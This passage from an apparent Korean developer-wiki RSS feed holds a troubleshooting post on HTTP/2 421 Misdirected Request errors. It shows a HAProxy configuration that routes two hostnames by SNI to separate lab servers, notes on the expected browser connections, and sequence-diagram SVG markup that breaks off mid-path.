이해&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;프록시 서버를 통한 트래픽 분산과 보안 강화 &lt;ul&gt; &lt;li&gt;프록시의 커넥션(클라이언트와 프록시, 프록시와 웹서버) 관리 방법에 대한 이해&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;터널링을 통한 기타 프로토콜과의 연결&lt;/li&gt; &lt;/ul&gt; </description><pubDate>Mon, 10 Jun 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/book/HTTP_완벽_가이드</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/book/HTTP_완벽_가이드</guid> <category>book</category> <category>HTTP</category> <category>book</category> </item> <item><title>HTTP/2 421 Misdirected Request</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#config-network-setting&quot;&gt;Config Network Setting&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#haproxy-설정&quot;&gt;HAProxy 설정&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#serv1iasdfcom&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#serv2iasdfcom&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#expected-action&quot;&gt;Expected Action&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#current-action&quot;&gt;Current Action&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#modify-action&quot;&gt;Modify Action&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;p&gt;HTTP/2 에서 프록시를 경유하는 네트워크 환경 구축 시 발생하는 문제에 대한 내용 및 해결한 방법을 기술한다.&lt;/p&gt; &lt;h2 id=&quot;config-network-setting&quot;&gt;Config Network Setting&lt;/h2&gt; &lt;ol&gt; &lt;li&gt;도메인 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt;과 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt;을 HAProxy에 연결한다.&lt;/li&gt; &lt;li&gt;HAProxy를 다음과 같이 설정한다. &lt;ul&gt; &lt;li&gt;아래 호스트의 연결은 HTTP/2 L7 Load Balancing으로 설정한다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt; 호스트는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.43&lt;/code&gt; 서버로 접속&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; 호스트는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.48&lt;/code&gt; 서버로 접속&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;웹 서버 두 대를 HTTP/2 프로토콜 통신이 가능하도록 설정한다.&lt;/li&gt; &lt;li&gt;요청을 크롬 브라우저의 Secret Tab을 이용하여 탭을 열어 각각의 서버에 접속한다. &lt;ul&gt; &lt;li&gt; &lt;ol&gt; &lt;li&gt;탭 하나 (tab1)을 열어서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt;에 접속한다.&lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;li&gt; &lt;ol&gt; &lt;li&gt;탭을 하나 더 열어서 (tab2) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt;에 접속한다.&lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-06-01-17-39-26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;details&gt; &lt;summary&gt;HAProxy 설정 내용 &lt;/summary&gt; &lt;div&gt; &lt;h3 id=&quot;haproxy-&quot;&gt;HAProxy 설정&lt;/h3&gt; &lt;div class=&quot;language-conf highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;n&quot;&gt;frontend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_front_http2_connection_test&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bind&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;49&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;crt&lt;/span&gt; /&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;to&lt;/span&gt;/&lt;span class=&quot;n&quot;&gt;cert&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;pem&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;use_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; { &lt;span class=&quot;n&quot;&gt;ssl_fc_sni&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;serv1&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;iasdf&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;com&lt;/span&gt; } &lt;span class=&quot;n&quot;&gt;use_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;if&lt;/span&gt; { &lt;span class=&quot;n&quot;&gt;ssl_fc_sni&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;serv2&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;iasdf&lt;/span&gt;.&lt;span class=&quot;n&quot;&gt;com&lt;/span&gt; } &lt;span class=&quot;c&quot;&gt;# use_backend webserver_backend_http2 if { ssl_fc_alpn -i h2 } &lt;/span&gt; &lt;span class=&quot;n&quot;&gt;default_backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_1&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;roundrobin&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;43&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;none&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backend&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;webserver_backend_http2_2&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;balance&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;roundrobin&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server1&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;.&lt;span class=&quot;m&quot;&gt;48&lt;/span&gt;:&lt;span class=&quot;m&quot;&gt;443&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ssl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;none&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;alpn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;h2&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/details&gt; &lt;details&gt; &lt;summary&gt;설정 완료 후 크롬 접속 스크린샷&lt;/summary&gt; &lt;div&gt; &lt;h3 id=&quot;serv1iasdfcom&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt;&lt;/h3&gt; &lt;p&gt;Chrome &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt; -&amp;gt; HAProxy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.49&lt;/code&gt; -&amp;gt; Server &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.43&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-13-37-56.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;server1 은 title 바가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server 1&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.43&lt;/code&gt; 내용이 담긴 페이지를 응답한다.&lt;/li&gt; &lt;li&gt;favicon이 있다.&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;serv2iasdfcom&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt;&lt;/h3&gt; &lt;p&gt;Chrome &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt; -&amp;gt; HAProxy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.49&lt;/code&gt; -&amp;gt; Server &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.48&lt;/code&gt;&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-05-31-13-38-36.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;server2 는 title 바가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server 2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.1.48&lt;/code&gt; 내용이 담긴 페이지를 응답한다.&lt;/li&gt; &lt;li&gt;favicon이 없다.&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/details&gt; &lt;hr /&gt; &lt;h2 id=&quot;expected-action&quot;&gt;Expected Action&lt;/h2&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt;에 접속한 탭(tab1)은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv1.iasdf.com&lt;/code&gt;에 대한 커넥션을 만들고 유지한다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt;에 접속한 탭(tab2)은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serv2.iasdf.com&lt;/code&gt;에 대한 커넥션을 만들고 유지한다.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;&lt;img src=&quot;mdresources/dir_http2_421.md_img/img_2024-06-01-17-40-59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt; &lt;p&gt;시퀀스 다이어그램&lt;/p&gt; &lt;svg class=&quot;mermaid-svg&quot; id=&quot;mermaid-svg&quot; width=&quot;100%&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; style=&quot;max-width: 891px;&quot; viewBox=&quot;-50 -10 891 699&quot; role=&quot;graphics-document document&quot; aria-roledescription=&quot;sequence&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;style xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;@import url(&quot;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css&quot;);&lt;/style&gt;&lt;g&gt;&lt;rect x=&quot;641&quot; y=&quot;613&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv2&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;716&quot; y=&quot;645.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;716&quot; dy=&quot;0&quot;&gt;serv2&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;441&quot; y=&quot;613&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv1&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;516&quot; y=&quot;645.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;516&quot; dy=&quot;0&quot;&gt;serv1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;217&quot; y=&quot;613&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;HAProxy&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;292&quot; y=&quot;645.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;292&quot; dy=&quot;0&quot;&gt;HAProxy&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;rect x=&quot;0&quot; y=&quot;613&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;Chrome&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-bottom&quot; /&gt;&lt;text x=&quot;75&quot; y=&quot;645.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Chrome&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor3&quot; x1=&quot;716&quot; y1=&quot;65&quot; x2=&quot;716&quot; y2=&quot;613&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;serv2&quot; /&gt;&lt;g id=&quot;root-3&quot;&gt;&lt;rect x=&quot;641&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv2&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;716&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;716&quot; dy=&quot;0&quot;&gt;serv2&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor2&quot; x1=&quot;516&quot; y1=&quot;65&quot; x2=&quot;516&quot; y2=&quot;613&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;serv1&quot; /&gt;&lt;g id=&quot;root-2&quot;&gt;&lt;rect x=&quot;441&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;serv1&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;516&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;516&quot; dy=&quot;0&quot;&gt;serv1&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor1&quot; x1=&quot;292&quot; y1=&quot;65&quot; x2=&quot;292&quot; y2=&quot;613&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;HAProxy&quot; /&gt;&lt;g id=&quot;root-1&quot;&gt;&lt;rect x=&quot;217&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;HAProxy&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;292&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;292&quot; dy=&quot;0&quot;&gt;HAProxy&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;g&gt;&lt;line id=&quot;actor0&quot; x1=&quot;75&quot; y1=&quot;65&quot; x2=&quot;75&quot; y2=&quot;613&quot; class=&quot;actor-line 200&quot; stroke-width=&quot;0.5px&quot; stroke=&quot;#999&quot; name=&quot;Chrome&quot; /&gt;&lt;g id=&quot;root-0&quot;&gt;&lt;rect x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#eaeaea&quot; stroke=&quot;#666&quot; width=&quot;150&quot; height=&quot;65&quot; name=&quot;Chrome&quot; rx=&quot;3&quot; ry=&quot;3&quot; class=&quot;actor actor-top&quot; /&gt;&lt;text x=&quot;75&quot; y=&quot;32.5&quot; dominant-baseline=&quot;central&quot; alignment-baseline=&quot;central&quot; class=&quot;actor actor-box&quot; style=&quot;text-anchor: middle; font-size: 16px; font-weight: 400;&quot;&gt;&lt;tspan x=&quot;75&quot; dy=&quot;0&quot;&gt;Chrome&lt;/tspan&gt;&lt;/text&gt;&lt;/g&gt;&lt;/g&gt;&lt;style&gt;#mermaid-svg{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg .error-icon{fill:#552222;}#mermaid-svg .error-text{fill:#552222;stroke:#552222;}#mermaid-svg .edge-thickness-normal{stroke-width:1px;}#mermaid-svg .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg .marker{fill:#333333;stroke:#333333;}#mermaid-svg .marker.cross{stroke:#333333;}#mermaid-svg svg{font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;font-size:16px;}#mermaid-svg p{margin:0;}#mermaid-svg .actor{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg text.actor&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .actor-line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg .innerArc{stroke-width:1.5;stroke-dasharray:none;}#mermaid-svg .messageLine0{stroke-width:1.5;stroke-dasharray:none;stroke:#333;}#mermaid-svg .messageLine1{stroke-width:1.5;stroke-dasharray:2,2;stroke:#333;}#mermaid-svg #arrowhead path{fill:#333;stroke:#333;}#mermaid-svg .sequenceNumber{fill:white;}#mermaid-svg #sequencenumber{fill:#333;}#mermaid-svg #crosshead path{fill:#333;stroke:#333;}#mermaid-svg .messageText{fill:#333;stroke:none;}#mermaid-svg .labelBox{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg .labelText,#mermaid-svg .labelText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .loopText,#mermaid-svg .loopText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .loopLine{stroke-width:2px;stroke-dasharray:2,2;stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);}#mermaid-svg .note{stroke:#aaaa33;fill:#fff5ad;}#mermaid-svg .noteText,#mermaid-svg .noteText&amp;gt;tspan{fill:black;stroke:none;}#mermaid-svg .activation0{fill:#f4f4f4;stroke:#666;}#mermaid-svg .activation1{fill:#f4f4f4;stroke:#666;}#mermaid-svg .activation2{fill:#f4f4f4;stroke:#666;}#mermaid-svg .actorPopupMenu{position:absolute;}#mermaid-svg .actorPopupMenuPanel{position:absolute;fill:#ECECFF;box-shadow:0px 8px 16px 0px rgba(0,0,0,0.2);filter:drop-shadow(3px 5px 2px rgb(0 0 0 / 0.4));}#mermaid-svg .actor-man line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;}#mermaid-svg .actor-man circle,#mermaid-svg line{stroke:hsl(259.6261682243, 59.7765363128%, 87.9019607843%);fill:#ECECFF;stroke-width:2px;}#mermaid-svg :root{--mermaid-font-family:&quot;trebuchet ms&quot;,verdana,arial,sans-serif;}&lt;/style&gt;&lt;g /&gt;&lt;defs&gt;&lt;symbol id=&quot;computer&quot; width=&quot;24&quot; height=&quot;24&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M2 2v13h20v-13h-20zm18 11h-16v-9h16v9zm-10.228 6l.466-1h3.524l.467 1h-4.457zm14.228 3h-24l2-6h2.104l-1.33 4h18.45l-1.297-4h2.073l2 6zm-5-10h-14v-7h14v7z&quot; /&gt;&lt;/symbol&gt;&lt;/defs&gt;&lt;defs&gt;&lt;symbol id=&quot;database&quot; fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot;&gt;&lt;path transform=&quot;scale(.5)&quot; d=&quot;M12.258.001l.256.004.255.005.253.008.251.01.249.012.247.015.246.016.242.019.241.02.239.023.236.024.233.027.231.028.229.031.225.032.223.034.22.036.217.038.214.04.211.041.208.043.205.045.201.046.198.048.194.05.191.051.187.053.183.054.18.056.175.057.172.059.168.06.163.061.16.063.155.064.15.066.074.033.073.033.071.034.07.034.069.035.068.035.067.035.066.035.064.036.064.036.062.036.06.036.06.037.058.037.058.037.055.038.055.038.053.038.052.038.051.039.05.039.048.039.047.039.045.04.044.04.043.04.041.04.04.041.039.041.037.041.036.041.034.041.033.042.032.042.03.042.029.042.027.042.026.043.024.043.023.043.021.043.02.043.018.044.017.043.015.044.013.044.012.044.011.045.009.044.007.045.006.045.004.045.002.045.001.045v17l-.001.045-.002.045-.004.045-.006.045-.007.045-.009.044-.011.045-.012.044-.013.044-.015.044-.017.043-.018.044-.02.043-.021.043-.023.043-.024.043-.026.043-.027.042-.029.042-.03.042-.032.042-.033.042-.034.041-.036.041-.037.041-.039.041-.04.041-.041.04-.043.04-.044.04-.045.04-.047.039-.048.039-.05.039-.051.039-.052.038-.053.038-.055.038-.055.038-.058.037-.058.037-.06.037-.06.036-.062.036-.064.036-.064.036-.066.035-.067.035-.068.035-.069.035-.07.034-.071.034-.073.033-.074.033-.15.066-.155.064-.16.063-.163.061-.168.06-.172.059-.175.057-.18.056-.183.054-.187.053-.191.051-.194.05-.198.048-.201.046-.205.045-.208.043-.211.041-.214.04-.217.038-.22.036-.223.034-.225.032-.229.031-.231.028-.233.027-.236.024-.239.023-.241.02-.242.019-.246.016-.247.015-.249.012-.251.01-.253.008-.255.005-.256.004-.258.001-.258-.001-.256-.004-.255-.005-.253-.008-.251-.01-.249-.012-.247-.015-.245-.016-.243-.019-.241-.02-.238-.023-.236-.024-.234-.027-.231-.028-.228-.031-.226-.032-.223-.034-.22-.036-.217-.038-.214-.04-.211-.041-.208-.043-.204-.045-.201-.046-.198-.048-.195-.05-.19-.051-.187-.053-.184-.054-.179-.056-.176-.057-.172-.059-.167-.06-.164-.061-.159-.063-.155-.064-.151-.066-.074-.033-.072-.033-.072-.034-.07-.034-.069-.035-.068-.035-.067-.035-.066-.035-.064-.036-.063-.036-.062-.036-.061-.036-.06-.037-.058-.037-.057-.037-.056-.038-.055-.038-.053-.038-.052-.038-.051-.039-.049-.039-.049-.039-.046-.039-.046-.04-.044-.04-.043-.04-.041-.04-.04-.041-.039-.041-.037-.041-.036-.041-.034-.041-.033-.042-.032-.042-.03-.042-.029-.042-.027-.042-.026-.043-.024-.043-.023-.043-.021-.043-.02-.043-.018-.044-.017-.043-.015-.044-.013-.044-.012-.044-.011-.045-.009-.044-.007-.045-.006-.045-.004-.045-.002-.045-.001-.045v-17l.001-.045.002-.045.004-.045.006-.045.007-.045.009-.044.011-.045.012-.044.013-.044.015-.044.017-.043.018-.044.02-.043.021-.043.023-.043.024-.043.026-.043.027-.042.029-.042.03-.042.032-.042.033-.042.034-.041.036-.041.037-.041.039-.041.04-.041.041-.04.043-.04.044-.04.046-.04.046-.039.049-.039.049-.039.051-.039.052-.038.053-.038.055-.038.056-.038.057-.037.058-.037.06-.037.061-.036.062-.036.063-.036.064-.036.066-.035.067-.035.068-.035.069-.035.07-.034.072-.034.072-.033.074-.033.151-.066.155-.064.159-.063.164-.061.167-.06.172-.059.176-.057.179-.056.184-.054.187-.053.19-.051.195-.05.198-.048.201-.046.204-.045.208-.043.211-.041.214-.04.217-.038.22-.036.223-.034.226-.032.228-.031.231-.028.234-.027.236-.024.238-.023.241-.02.243-.019.245-.016.247-.015.249-.012.251-.01.253-.008.255-.005.256-.004.258-.001.258.001zm-9.258 20.499v.01l.001.021.003.021.004.022.005.021.006.022.007.022.009.023.01.022.011.023.012.023.013.023.015.023.016.024.017.023.018.024.019.024.021.024.022.025.023.024.024.025.052.049.056.05.061.051.066.051.07.051.075.051.079.052.084.052.088.052.092.052.097.052.102.051.105.052.11.052.114.051.119.051.123.051.127.05.131.05.135.05.139.048.144.049.147.047.152.047.155.047.16.045.163.045.167.043.171.043.176.041.178.041.183.039.187.039.19.037.194.035.197.035.202.033.204.031.209.03.212.029.216.027.219.025.222.024.226.021.23.02.233.018.236.016.24.015.243.012.246.01.249.008.253.005.256.004.259.001.26-.001.257-.004.254-.005.25-.008.247-.011.244-.012.241-.014.237-.016.233-.018.231-.021.226-.021.224-.024.22-.026.216-.027.212-.028.21-.031.205-.031.202-.034.198-.034.194-.036.191-.037.187-.039.183-.04.179-.04.175-.042.172-.043.168-.044.163-.045.16-.046.155-.046.152-.047.148-.048.143-.049.139-.049.136-.05.131-.05.126-.05.123-.051.118-.052.114-.051.11-.052.106-.052.101-.052.096-.052.092-.052.088-.053.083-.051.079-.052.074-.052.07-.051.065-.051.06-.051.056-.05.051-.05.023-.024.023-.025.021-.024.02-.024.019-.024.018-.024.017-.024.015-.023.014-.